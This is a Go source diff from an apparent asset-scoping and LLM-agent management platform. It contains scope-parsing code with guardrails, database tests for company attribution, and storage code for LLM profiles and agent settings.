if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, id)
|
||||
|
||||
lines := []string{"example.com", "192.168.1.0/24", "10.0.0.1"}
|
||||
added, skipped, invalid, errs := cs.AddScope(id, lines, "test")
|
||||
if added != 3 {
|
||||
t.Errorf("want 3 added, got %d (errs: %v)", added, errs)
|
||||
}
|
||||
if skipped != 0 || invalid != 0 {
|
||||
t.Errorf("unexpected skipped=%d invalid=%d", skipped, invalid)
|
||||
}
|
||||
|
||||
// Adding again should skip (duplicate)
|
||||
added2, skipped2, invalid2, _ := cs.AddScope(id, lines, "test")
|
||||
if added2 != 0 || skipped2 != 3 {
|
||||
t.Errorf("want 0 added 3 skipped, got %d added %d skipped %d invalid", added2, skipped2, invalid2)
|
||||
}
|
||||
|
||||
scope, err := cs.GetScope(id)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(scope) != 3 {
|
||||
t.Errorf("want 3 scope rules, got %d", len(scope))
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompanyScopeInvalid(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
defer d.Close()
|
||||
cs := d.Companies()
|
||||
|
||||
id, _, err := cs.UpsertCompany("InvalidScopeCorp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, id)
|
||||
|
||||
// TLD-only domains and overly broad CIDRs should be rejected
|
||||
lines := []string{"com", "1.2.3.4/8"} // rejected
|
||||
added, _, invalid, _ := cs.AddScope(id, lines, "test")
|
||||
if added != 0 {
|
||||
t.Errorf("want 0 added for invalid lines, got %d", added)
|
||||
}
|
||||
if invalid != 2 {
|
||||
t.Errorf("want 2 invalid, got %d", invalid)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveCompany(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
defer d.Close()
|
||||
cs := d.Companies()
|
||||
|
||||
id, _, err := cs.UpsertCompany("ResolveCorp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, id)
|
||||
|
||||
cs.AddScope(id, []string{"resolve-test.io", "10.20.0.0/16"}, "test")
|
||||
|
||||
// domain match
|
||||
cid, err := cs.ResolveCompany("resolve-test.io", "")
|
||||
if err != nil || cid == nil || *cid != id {
|
||||
t.Errorf("domain resolve: want %d, got %v (err %v)", id, cid, err)
|
||||
}
|
||||
|
||||
// no match
|
||||
cid2, err := cs.ResolveCompany("notinscope.com", "")
|
||||
if err != nil || cid2 != nil {
|
||||
t.Errorf("no-match: want nil, got %v", cid2)
|
||||
}
|
||||
|
||||
// IP/CIDR match
|
||||
cid3, err := cs.ResolveCompany("", "10.20.5.1")
|
||||
if err != nil || cid3 == nil || *cid3 != id {
|
||||
t.Errorf("cidr resolve: want %d, got %v (err %v)", id, cid3, err)
|
||||
}
|
||||
|
||||
// IP outside CIDR
|
||||
cid4, err := cs.ResolveCompany("", "10.30.0.1")
|
||||
if err != nil || cid4 != nil {
|
||||
t.Errorf("cidr no-match: want nil, got %v", cid4)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpdateScope(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
defer d.Close()
|
||||
cs := d.Companies()
|
||||
|
||||
id, _, err := cs.UpsertCompany("UpdateScopeCorp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, id)
|
||||
|
||||
cs.AddScope(id, []string{"old-domain.com"}, "initial")
|
||||
|
||||
// UpdateScope replaces
|
||||
added, invalid, errs := cs.UpdateScope(id, []string{"new-domain.com"}, "replacement")
|
||||
if added != 1 || invalid != 0 || len(errs) != 0 {
|
||||
t.Errorf("UpdateScope: added=%d invalid=%d errs=%v", added, invalid, errs)
|
||||
}
|
||||
|
||||
scope, _ := cs.GetScope(id)
|
||||
if len(scope) != 1 || scope[0].Domain != "new-domain.com" {
|
||||
t.Errorf("UpdateScope: expected new-domain.com only, got %+v", scope)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeleteCompany(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
defer d.Close()
|
||||
cs := d.Companies()
|
||||
|
||||
id, _, err := cs.UpsertCompany("DeleteMeCorp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cs.AddScope(id, []string{"deletetest.com"}, "test")
|
||||
|
||||
if err := cs.DeleteCompany(id); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c, err := cs.GetCompany(id)
|
||||
if err != nil || c != nil {
|
||||
t.Error("expected company to be gone")
|
||||
}
|
||||
// scope should be cascade-deleted
|
||||
scope, _ := cs.GetScope(id)
|
||||
if len(scope) != 0 {
|
||||
t.Errorf("expected scope cascade-deleted, got %d rules", len(scope))
|
||||
}
|
||||
}
|
||||
|
||||
func TestRecomputeAttribution(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
defer d.Close()
|
||||
cs := d.Companies()
|
||||
as := d.Assets()
|
||||
|
||||
id, _, err := cs.UpsertCompany("AttributeTestCorp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, id)
|
||||
defer d.Exec(`DELETE FROM assets WHERE root_domain = 'attr-test.com'`)
|
||||
|
||||
// insert asset before adding scope
|
||||
assetID, err := as.UpsertRootDomain(UpsertRootDomainReq{Domain: "attr-test.com"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM assets WHERE id = $1`, assetID)
|
||||
|
||||
// asset should not be attributed yet
|
||||
var companyID *int64
|
||||
d.QueryRow(`SELECT company_id FROM assets WHERE id = $1`, assetID).Scan(&companyID)
|
||||
if companyID != nil {
|
||||
t.Error("expected no company before scope added")
|
||||
}
|
||||
|
||||
// add scope and recompute
|
||||
cs.AddScope(id, []string{"attr-test.com"}, "test")
|
||||
if err := cs.RecomputeAttribution(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
d.QueryRow(`SELECT company_id FROM assets WHERE id = $1`, assetID).Scan(&companyID)
|
||||
if companyID == nil || *companyID != id {
|
||||
t.Errorf("RecomputeAttribution: expected company %d, got %v", id, companyID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListCompanies(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
defer d.Close()
|
||||
cs := d.Companies()
|
||||
|
||||
id, _, err := cs.UpsertCompany("ListTestCorp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, id)
|
||||
|
||||
companies, err := cs.ListCompanies()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, c := range companies {
|
||||
if c.ID == id {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Error("ListCompanies: created company not found")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/net/publicsuffix"
|
||||
)
|
||||
|
||||
// ParsedScope is one parsed asset-scope entry. Exactly one of Domain / Net is set.
|
||||
// Used internally by ParseScopeLine / ParseScopeLines (passed to CompanyStore).
|
||||
type ParsedScope struct {
|
||||
Kind string // "domain" | "ip" | "cidr"
|
||||
Domain string // normalized registrable/root domain (kind=domain)
|
||||
Net string // normalized CIDR, single IP as /32 or /128 (kind=ip|cidr)
|
||||
Raw string // original input line
|
||||
}
|
||||
|
||||
// ParseScopeLine classifies and validates one scope line (root domain / IP /
|
||||
// CIDR). Guardrails reject bare TLDs and over-broad networks so a rule can never
|
||||
// swallow the internet. IP ranges must be expressed as CIDR.
|
||||
func ParseScopeLine(line string) (ParsedScope, error) {
|
||||
raw := strings.TrimSpace(line)
|
||||
r := ParsedScope{Raw: raw}
|
||||
if raw == "" {
|
||||
return r, fmt.Errorf("空行")
|
||||
}
|
||||
s := raw
|
||||
if i := strings.Index(s, "://"); i >= 0 { // strip scheme if a URL was pasted
|
||||
s = s[i+3:]
|
||||
}
|
||||
// CIDR first — it contains '/', which the path-strip below would remove.
|
||||
if _, ipnet, err := net.ParseCIDR(s); err == nil {
|
||||
ones, bits := ipnet.Mask.Size()
|
||||
if bits == 32 && ones < 16 {
|
||||
return r, fmt.Errorf("网段过宽(IPv4 需 >= /16): %s", raw)
|
||||
}
|
||||
if bits == 128 && ones < 32 {
|
||||
return r, fmt.Errorf("网段过宽(IPv6 需 >= /32): %s", raw)
|
||||
}
|
||||
r.Kind, r.Net = "cidr", ipnet.String()
|
||||
return r, nil
|
||||
}
|
||||
// Strip any path and :port remnants for host-like inputs.
|
||||
if i := strings.IndexByte(s, '/'); i >= 0 {
|
||||
s = s[:i]
|
||||
}
|
||||
// Single IP.
|
||||
if ip := net.ParseIP(strings.TrimSpace(s)); ip != nil {
|
||||
r.Kind = "ip"
|
||||
if ip.To4() != nil {
|
||||
r.Net = ip.String() + "/32"
|
||||
} else {
|
||||
r.Net = ip.String() + "/128"
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
if host, _, ok := strings.Cut(s, ":"); ok { // host:port → host
|
||||
s = host
|
||||
}
|
||||
if strings.Contains(raw, "-") && strings.Count(raw, ".") >= 6 {
|
||||
return r, fmt.Errorf("IP 段请用 CIDR 表示(如 1.2.3.0/24): %s", raw)
|
||||
}
|
||||
// Domain (registrable). Reject bare TLDs / public suffixes.
|
||||
d := DomainKey(s)
|
||||
if d == "" || !strings.Contains(d, ".") {
|
||||
return r, fmt.Errorf("无法识别为根域名/IP/CIDR: %s", raw)
|
||||
}
|
||||
if suf, icann := publicsuffix.PublicSuffix(d); icann && suf == d {
|
||||
return r, fmt.Errorf("不能用裸 TLD 作为范围: %s", raw)
|
||||
}
|
||||
r.Kind, r.Domain = "domain", d
|
||||
return r, nil
|
||||
}
|
||||
|
||||
// ParseScopeLines parses a whole text block (one entry per line), returning the
|
||||
// valid rules and the invalid lines (with reasons) so the caller can report both.
|
||||
func ParseScopeLines(text string) (rules []ParsedScope, invalid []string) {
|
||||
for _, ln := range strings.Split(text, "\n") {
|
||||
if strings.TrimSpace(ln) == "" {
|
||||
continue
|
||||
}
|
||||
r, err := ParseScopeLine(ln)
|
||||
if err != nil {
|
||||
invalid = append(invalid, err.Error())
|
||||
continue
|
||||
}
|
||||
rules = append(rules, r)
|
||||
}
|
||||
return rules, invalid
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestParseScopeLine covers classification + guardrails without a DB.
|
||||
func TestParseScopeLine(t *testing.T) {
|
||||
cases := []struct {
|
||||
in string
|
||||
kind string
|
||||
wantErr bool
|
||||
}{
|
||||
{"example.com", "domain", false},
|
||||
{"https://sub.example.com/path", "domain", false},
|
||||
{"1.2.3.4", "ip", false},
|
||||
{"10.0.0.0/8", "", true}, // over-broad IPv4 (< /16)
|
||||
{"198.51.100.0/24", "cidr", false},
|
||||
{"co.uk", "", true}, // bare public suffix
|
||||
{"not a host", "", true},
|
||||
{"1.2.3.1-1.2.3.9", "", true}, // ranges must be CIDR
|
||||
}
|
||||
for _, c := range cases {
|
||||
r, err := ParseScopeLine(c.in)
|
||||
if c.wantErr {
|
||||
if err == nil {
|
||||
t.Errorf("ParseScopeLine(%q) want error, got %+v", c.in, r)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
t.Errorf("ParseScopeLine(%q) unexpected error: %v", c.in, err)
|
||||
continue
|
||||
}
|
||||
if r.Kind != c.kind {
|
||||
t.Errorf("ParseScopeLine(%q) kind=%q want %q", c.in, r.Kind, c.kind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestCompanyScopeAttribution exercises the full loop against dev PG: create
|
||||
// company (unique name), add scope, and verify auto-attribution at insert time,
|
||||
// backfill of a pre-existing asset, CIDR + domain-suffix matching, and that
|
||||
// out-of-scope assets stay unattributed.
|
||||
func TestCompanyScopeAttribution(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
as := d.Assets()
|
||||
cs := d.Companies()
|
||||
|
||||
var startMax int64
|
||||
if err := d.QueryRow(`SELECT COALESCE(MAX(id),0) FROM assets`).Scan(&startMax); err != nil {
|
||||
d.Close()
|
||||
t.Fatalf("startMax: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_, _ = d.Exec(`DELETE FROM assets WHERE id > $1`, startMax)
|
||||
d.Close()
|
||||
})
|
||||
|
||||
uniq := startMax + 1
|
||||
root := fmt.Sprintf("scopetest%d.com", uniq)
|
||||
sub := "api." + root
|
||||
ipIn := "198.51.100.9"
|
||||
ipOut := "203.0.113.9"
|
||||
outDomain := fmt.Sprintf("other%d.net", uniq)
|
||||
|
||||
cid, _, err := cs.UpsertCompany(fmt.Sprintf("ScopeCo %d", uniq), "")
|
||||
if err != nil {
|
||||
t.Fatalf("UpsertCompany: %v", err)
|
||||
}
|
||||
|
||||
// a pre-existing asset (inserted BEFORE any scope) — must be back-filled.
|
||||
preID, err := as.UpsertSubdomain(UpsertSubdomainReq{Domain: sub})
|
||||
if err != nil {
|
||||
t.Fatalf("pre upsert: %v", err)
|
||||
}
|
||||
var preCompanyID *int64
|
||||
d.QueryRow(`SELECT company_id FROM assets WHERE id = $1`, preID).Scan(&preCompanyID)
|
||||
if preCompanyID != nil {
|
||||
t.Fatalf("pre-scope asset should be unattributed, got %v", *preCompanyID)
|
||||
}
|
||||
|
||||
rules, invalid := ParseScopeLines(root + "\n198.51.100.0/24\nco.uk")
|
||||
if len(rules) != 2 {
|
||||
t.Fatalf("want 2 valid rules, got %d (%+v)", len(rules), rules)
|
||||
}
|
||||
if len(invalid) != 1 {
|
||||
t.Fatalf("want 1 invalid line, got %v", invalid)
|
||||
}
|
||||
cs.AddScope(cid, []string{root, "198.51.100.0/24"}, "unit test")
|
||||
|
||||
mustCid := func(id int64, want int64, label string) {
|
||||
var cID *int64
|
||||
d.QueryRow(`SELECT company_id FROM assets WHERE id = $1`, id).Scan(&cID)
|
||||
if cID == nil {
|
||||
t.Fatalf("%s company_id = nil, want %d", label, want)
|
||||
}
|
||||
if *cID != want {
|
||||
t.Fatalf("%s company_id = %d, want %d", label, *cID, want)
|
||||
}
|
||||
}
|
||||
mustNil := func(id int64, label string) {
|
||||
var cID *int64
|
||||
d.QueryRow(`SELECT company_id FROM assets WHERE id = $1`, id).Scan(&cID)
|
||||
if cID != nil {
|
||||
t.Fatalf("%s should be unattributed, got %d", label, *cID)
|
||||
}
|
||||
}
|
||||
|
||||
// backfill attributed the pre-existing subdomain (domain suffix match).
|
||||
mustCid(preID, cid, "pre-existing subdomain (backfill)")
|
||||
|
||||
// insert-time attribution: ip in CIDR, another subdomain.
|
||||
ipInID, err := as.UpsertIP(UpsertIPReq{IP: ipIn})
|
||||
if err != nil {
|
||||
t.Fatalf("UpsertIP in: %v", err)
|
||||
}
|
||||
mustCid(ipInID, cid, "in-CIDR ip (insert-time)")
|
||||
|
||||
sub2ID, err := as.UpsertSubdomain(UpsertSubdomainReq{Domain: "www." + root})
|
||||
if err != nil {
|
||||
t.Fatalf("UpsertSubdomain: %v", err)
|
||||
}
|
||||
mustCid(sub2ID, cid, "new subdomain (insert-time)")
|
||||
|
||||
// out of scope stays unattributed.
|
||||
outID, err := as.UpsertRootDomain(UpsertRootDomainReq{Domain: outDomain})
|
||||
if err != nil {
|
||||
t.Fatalf("UpsertRootDomain out: %v", err)
|
||||
}
|
||||
mustNil(outID, "out-of-scope domain")
|
||||
|
||||
ipOutID, err := as.UpsertIP(UpsertIPReq{IP: ipOut})
|
||||
if err != nil {
|
||||
t.Fatalf("UpsertIP out: %v", err)
|
||||
}
|
||||
mustNil(ipOutID, "out-of-CIDR ip")
|
||||
}
|
||||
+684
@@ -0,0 +1,684 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ---------- LLM profiles ----------
|
||||
|
||||
type LLMProfile struct {
|
||||
ID int64 `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Format string `json:"format"`
|
||||
BaseURL string `json:"base_url,omitempty"`
|
||||
Proxy string `json:"proxy,omitempty"` // LLM 出站代理(http/https/socks5);空=用环境变量
|
||||
Model string `json:"model"`
|
||||
APIKey string `json:"-"` // never serialized to UI
|
||||
APIKeyHint string `json:"api_key_hint,omitempty"`
|
||||
RatePerSecond float64 `json:"rate_per_second"`
|
||||
RatePerMinute float64 `json:"rate_per_minute"`
|
||||
// ContextWindowK is the model's context window in K tokens, used to size
|
||||
// compaction thresholds. 0 = use a 200K default; capped at 1000 (1M).
|
||||
ContextWindowK int `json:"context_window_k"`
|
||||
// ReasoningEffort is the thinking-mode selector. "" = 默认(不发送思考参数);
|
||||
// "off" = 显式关闭(thinking.type=disabled); "low"/"medium"/"high"/"max" =
|
||||
// 开启思考并设强度. Mapped to the provider request in agent.Config.NewProvider.
|
||||
ReasoningEffort string `json:"reasoning_effort"`
|
||||
IsDefault bool `json:"is_default"`
|
||||
}
|
||||
|
||||
func (d *DB) ListProfiles() ([]*LLMProfile, error) {
|
||||
rows, err := d.Query(`SELECT id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key_hint,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default FROM llm_profiles ORDER BY id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*LLMProfile
|
||||
for rows.Next() {
|
||||
var p LLMProfile
|
||||
if err := rows.Scan(&p.ID, &p.Name, &p.Format, &p.BaseURL, &p.Proxy, &p.Model, &p.APIKeyHint, &p.RatePerSecond, &p.RatePerMinute, &p.ContextWindowK, &p.ReasoningEffort, &p.IsDefault); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, &p)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ActiveProfile returns the default (active) profile with its api key, or nil.
|
||||
func (d *DB) ActiveProfile() (*LLMProfile, error) {
|
||||
var p LLMProfile
|
||||
err := d.QueryRow(`SELECT id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default FROM llm_profiles WHERE is_default LIMIT 1`).
|
||||
Scan(&p.ID, &p.Name, &p.Format, &p.BaseURL, &p.Proxy, &p.Model, &p.APIKey, &p.RatePerSecond, &p.RatePerMinute, &p.ContextWindowK, &p.ReasoningEffort, &p.IsDefault)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return &p, err
|
||||
}
|
||||
|
||||
// ProfileByID returns one profile with its api key by id, or nil if not found.
|
||||
// Used to run a task on a specific (non-default) LLM profile.
|
||||
func (d *DB) ProfileByID(id int64) (*LLMProfile, error) {
|
||||
var p LLMProfile
|
||||
err := d.QueryRow(`SELECT id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default FROM llm_profiles WHERE id=$1`, id).
|
||||
Scan(&p.ID, &p.Name, &p.Format, &p.BaseURL, &p.Proxy, &p.Model, &p.APIKey, &p.RatePerSecond, &p.RatePerMinute, &p.ContextWindowK, &p.ReasoningEffort, &p.IsDefault)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return &p, err
|
||||
}
|
||||
|
||||
// SaveProfile inserts (id==0) or updates a profile. Empty apiKey on update keeps existing.
|
||||
func (d *DB) SaveProfile(p *LLMProfile) (int64, error) {
|
||||
hint := p.APIKeyHint
|
||||
if len(p.APIKey) >= 4 {
|
||||
hint = "…" + p.APIKey[len(p.APIKey)-4:]
|
||||
}
|
||||
if p.ID == 0 {
|
||||
var id int64
|
||||
err := d.QueryRow(`INSERT INTO llm_profiles(name,format,base_url,proxy,model,api_key,api_key_hint,rate_per_second,rate_per_minute,context_window_k,reasoning_effort)
|
||||
VALUES ($1,$2,NULLIF($3,''),NULLIF($4,''),$5,NULLIF($6,''),NULLIF($7,''),$8,$9,$10,$11) RETURNING id`,
|
||||
p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.APIKey, hint, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
if p.APIKey == "" {
|
||||
_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,rate_per_second=$6,rate_per_minute=$7,context_window_k=$8,reasoning_effort=$9 WHERE id=$10`,
|
||||
p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort, p.ID)
|
||||
return p.ID, err
|
||||
}
|
||||
_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,api_key=$6,api_key_hint=$7,rate_per_second=$8,rate_per_minute=$9,context_window_k=$10,reasoning_effort=$11 WHERE id=$12`,
|
||||
p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.APIKey, hint, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort, p.ID)
|
||||
return p.ID, err
|
||||
}
|
||||
|
||||
func (d *DB) DeleteProfile(id int64) error {
|
||||
_, err := d.Exec(`DELETE FROM llm_profiles WHERE id=$1`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetActiveProfile makes one profile the global default (single-default invariant).
|
||||
func (d *DB) SetActiveProfile(id int64) error {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
if _, err := tx.Exec(`UPDATE llm_profiles SET is_default=false WHERE is_default`); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := tx.Exec(`UPDATE llm_profiles SET is_default=true WHERE id=$1`, id); err != nil {
|
||||
return err
|
||||
}
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
// ---------- Agents / prompts ----------
|
||||
|
||||
type Agent struct {
|
||||
ID int64 `json:"id"`
|
||||
Key string `json:"key"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
Role string `json:"role"`
|
||||
Builtin bool `json:"builtin"`
|
||||
Enabled bool `json:"enabled"`
|
||||
MaxTurns int `json:"max_turns"` // 单次运行最大轮次;0=不限制
|
||||
RunSecs int `json:"run_seconds"` // worker 单次运行墙钟上限(秒);0=不限制
|
||||
WebSearch bool `json:"web_search"` // 是否启用网络搜索(受系统全局开关门控)
|
||||
InteractiveShell bool `json:"interactive_shell"` // 是否启用交互式 shell(持久 PTY 会话工具族)
|
||||
WrapupPrompt string `json:"wrapup_prompt"` // 收尾提示词(超时/步数耗尽时的 settlement 提示);空=用代码内置默认
|
||||
WrapupMaxTurns int `json:"wrapup_max_turns"` // 收尾阶段自身的轮数预算;0=用代码内置默认(按 agent)
|
||||
// 任务级超时收尾词(与 per-run 两套;仅 worker/planner 用);空/0=用代码内置默认。
|
||||
TaskTimeoutWrapupPrompt string `json:"task_timeout_wrapup_prompt"`
|
||||
TaskTimeoutWrapupMaxTurns int `json:"task_timeout_wrapup_max_turns"`
|
||||
}
|
||||
|
||||
const agentCols = `id,key,name,COALESCE(description,''),role,builtin,enabled,COALESCE(max_turns,0),COALESCE(run_seconds,600),COALESCE(web_search,false),COALESCE(interactive_shell,false),COALESCE(wrapup_prompt,''),COALESCE(wrapup_max_turns,0),COALESCE(task_timeout_wrapup_prompt,''),COALESCE(task_timeout_wrapup_max_turns,0)`
|
||||
|
||||
func scanAgent(sc interface{ Scan(...any) error }) (*Agent, error) {
|
||||
var a Agent
|
||||
err := sc.Scan(&a.ID, &a.Key, &a.Name, &a.Description, &a.Role, &a.Builtin, &a.Enabled, &a.MaxTurns, &a.RunSecs, &a.WebSearch, &a.InteractiveShell, &a.WrapupPrompt, &a.WrapupMaxTurns, &a.TaskTimeoutWrapupPrompt, &a.TaskTimeoutWrapupMaxTurns)
|
||||
return &a, err
|
||||
}
|
||||
|
||||
func (d *DB) ListAgents() ([]*Agent, error) {
|
||||
rows, err := d.Query(`SELECT ` + agentCols + ` FROM agents ORDER BY id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*Agent
|
||||
for rows.Next() {
|
||||
a, err := scanAgent(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, a)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func (d *DB) GetAgentByKey(key string) (*Agent, error) {
|
||||
a, err := scanAgent(d.QueryRow(`SELECT `+agentCols+` FROM agents WHERE key=$1`, key))
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return a, nil
|
||||
}
|
||||
|
||||
// AgentBindingCounts returns per-agent binding counts in a few grouped queries
|
||||
// (NO N+1): visible MCP servers and skills keyed by agent id, and bound tools
|
||||
// keyed by agent key (tools.agents is a JSONB array of agent keys). Missing keys
|
||||
// mean zero. Used to show "MCP N · Skill N · 工具 N" on the agent cards.
|
||||
func (d *DB) AgentBindingCounts() (mcp map[int64]int, skill map[int64]int, tools map[string]int, err error) {
|
||||
mcp, skill, tools = map[int64]int{}, map[int64]int{}, map[string]int{}
|
||||
byID := func(q string, into map[int64]int) error {
|
||||
rows, e := d.Query(q)
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var id int64
|
||||
var n int
|
||||
if e := rows.Scan(&id, &n); e != nil {
|
||||
return e
|
||||
}
|
||||
into[id] = n
|
||||
}
|
||||
return rows.Err()
|
||||
}
|
||||
if err = byID(`SELECT agent_id, count(DISTINCT resource_id) FROM agent_visibility WHERE resource_kind='mcp' AND enabled GROUP BY agent_id`, mcp); err != nil {
|
||||
return
|
||||
}
|
||||
if err = byID(`SELECT agent_id, count(*) FROM agent_skill_visibility WHERE enabled GROUP BY agent_id`, skill); err != nil {
|
||||
return
|
||||
}
|
||||
rows, e := d.Query(`SELECT elem, count(*) FROM tools, jsonb_array_elements_text(agents) AS elem GROUP BY elem`)
|
||||
if e != nil {
|
||||
err = e
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var k string
|
||||
var n int
|
||||
if e := rows.Scan(&k, &n); e != nil {
|
||||
err = e
|
||||
return
|
||||
}
|
||||
tools[k] = n
|
||||
}
|
||||
err = rows.Err()
|
||||
return
|
||||
}
|
||||
|
||||
// CreateAgent inserts a custom (builtin=false) conversational agent with role
|
||||
// 'assistant'. Returns the new row. Callers validate key/name upstream; the DB
|
||||
// enforces key charset + uniqueness and the role check constraint.
|
||||
func (d *DB) CreateAgent(key, name, description string) (*Agent, error) {
|
||||
a, err := scanAgent(d.QueryRow(`
|
||||
INSERT INTO agents(key, name, description, role, builtin, enabled)
|
||||
VALUES ($1, $2, NULLIF($3,''), 'assistant', false, true)
|
||||
RETURNING `+agentCols, key, name, description))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return a, nil
|
||||
}
|
||||
|
||||
// UpdateAgentMeta updates a custom agent's display name + description. Built-in
|
||||
// agents are left untouched (guarded by the caller / the builtin flag).
|
||||
func (d *DB) UpdateAgentMeta(key, name, description string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET name=$2, description=NULLIF($3,'') WHERE key=$1 AND builtin=false`, key, name, description)
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteAgent removes a custom agent. Built-in agents are protected by the
|
||||
// builtin=false guard. agent_prompts / agent_prompt_vars / visibility rows cascade
|
||||
// via FK; tools.agents bindings for the key are cleaned by the caller.
|
||||
func (d *DB) DeleteAgent(key string) error {
|
||||
_, err := d.Exec(`DELETE FROM agents WHERE key=$1 AND builtin=false`, key)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetAgentMaxTurns updates an agent's max_turns (0 = unlimited).
|
||||
func (d *DB) SetAgentMaxTurns(key string, maxTurns int) error {
|
||||
if maxTurns < 0 {
|
||||
maxTurns = 0
|
||||
}
|
||||
_, err := d.Exec(`UPDATE agents SET max_turns=$1 WHERE key=$2`, maxTurns, key)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetAgentWebSearch toggles whether an agent uses network search (still gated by
|
||||
// the global web-search master switch + backend/key config).
|
||||
func (d *DB) SetAgentWebSearch(key string, on bool) error {
|
||||
_, err := d.Exec(`UPDATE agents SET web_search=$1 WHERE key=$2`, on, key)
|
||||
return err
|
||||
